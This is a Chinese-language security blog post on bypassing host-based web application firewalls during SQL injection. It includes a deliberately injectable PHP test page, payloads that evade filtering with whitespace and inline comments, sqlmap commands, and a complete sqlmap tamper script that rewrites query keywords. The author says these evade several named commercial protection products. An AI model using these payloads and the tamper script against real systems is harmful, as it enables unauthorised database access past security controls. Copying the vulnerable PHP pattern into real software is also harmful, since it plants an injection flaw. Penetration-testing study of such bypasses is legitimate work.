0x01 前言
在測試過程中,經常會遇到一些主機防護軟件,對這方面做了一些嘗試,可成功bypass了GET和POST的注入防御,分享一下姿勢。
0x02 環境搭建
Windows Server 2003+phpStudy

sql注入點測試代碼:
sql.php
<?php $con = mysql_connect("localhost","root","root"); if (!$con) { die('Could not connect: ' . mysql_error()); } mysql_select_db("test", $con); $id = $_REQUEST[ 'id' ]; $query = "SELECT * FROM admin WHERE username = $id "; $result = mysql_query($query); while($row = mysql_fetch_array($result)) { echo $row['0'] . " " . $row['1']; echo "<br />"; } echo "<br/>"; echo $query; mysql_close($con); ?>
運行效果:

0x03 Bypass 過程
對不同waf做了一些嘗試,關於SQL注入bypass,可以考慮划分為3種:
1、完全bypass(union select+select from)
2、部分bypass(union select 或select from)
3、獲取一些敏感信息(如version()、database()等)
A、Union+select
先考慮如何繞過union+select,可以考慮一下幾種形式
1、最常見形式 %20、+、/**/
2、Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0
3、內聯注釋 /!12345select/
通過組合測試,可以發現 union%0a/*!12345select*/ 1,2 可以繞過防御。

B、select+from
select+from 也可以通過同樣的組合形式繞過防御。
至此已完全繞過union+select+from。

0x04 自動化注入
編寫tamper bypass腳本,來利用sqlmap來跑數據
先看一下原始sqlmap的效果:
sqlmap.py -u http://192.168.106.130/config/sql.php?id=1 --flush-session --dbs 失敗

加載tamper腳本,可成功獲取數據。
sqlmap.py -u http://192.168.106.130/config/sql.php?id=1 --flush-session --technique=U --tamper="360safe.py" --dbs

tamper腳本:
#!/usr/bin/env python """ write by Aaron """ from lib.core.enums import PRIORITY from lib.core.settings import UNICODE_ENCODING __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ Replaces keywords >>> tamper('UNION SELECT id FROM users') 'union%0a/*!12345select*/id%0a/*!12345from*/users' """ if payload: payload=payload.replace(" ALL SELECT ","%0a/*!12345select*/") payload=payload.replace("UNION SELECT","union%0a/*!12345select*/") payload=payload.replace(" FROM ","%0a/*!12345from*/") payload=payload.replace("CONCAT","CONCAT%23%0a") payload=payload.replace("CASE ","CASE%23%0a") payload=payload.replace("CAST(","/*!12345CASt(*/") payload=payload.replace("DATABASE()","database%0a()") return payload
這邊主要是針對union select查詢進行的關鍵字替換,測試過程中,可以發現利用tamper腳本來bypass的弊端,sqlmap的部分payload是固定的,部分關鍵字會被waf攔截,需要一步步調試,總結,測試哪些關鍵字是被攔截的,如何繞過關鍵字的檢測等,還是挺麻煩。
0x05 END
最好的自動化注入工具:可以考慮自己編寫一個自動化注入工具,靈活的自定義payload來獲取數據庫信息。
目前的測試成果,可成功bypass注入防御,如 安全狗、雲鎖、360主機衛士、D盾_IIS防火牆等主機防護軟件及各種雲waf,有些姿勢都在用。
最后
歡迎關注個人微信公眾號:Bypass--,每周原創一篇技術干貨。
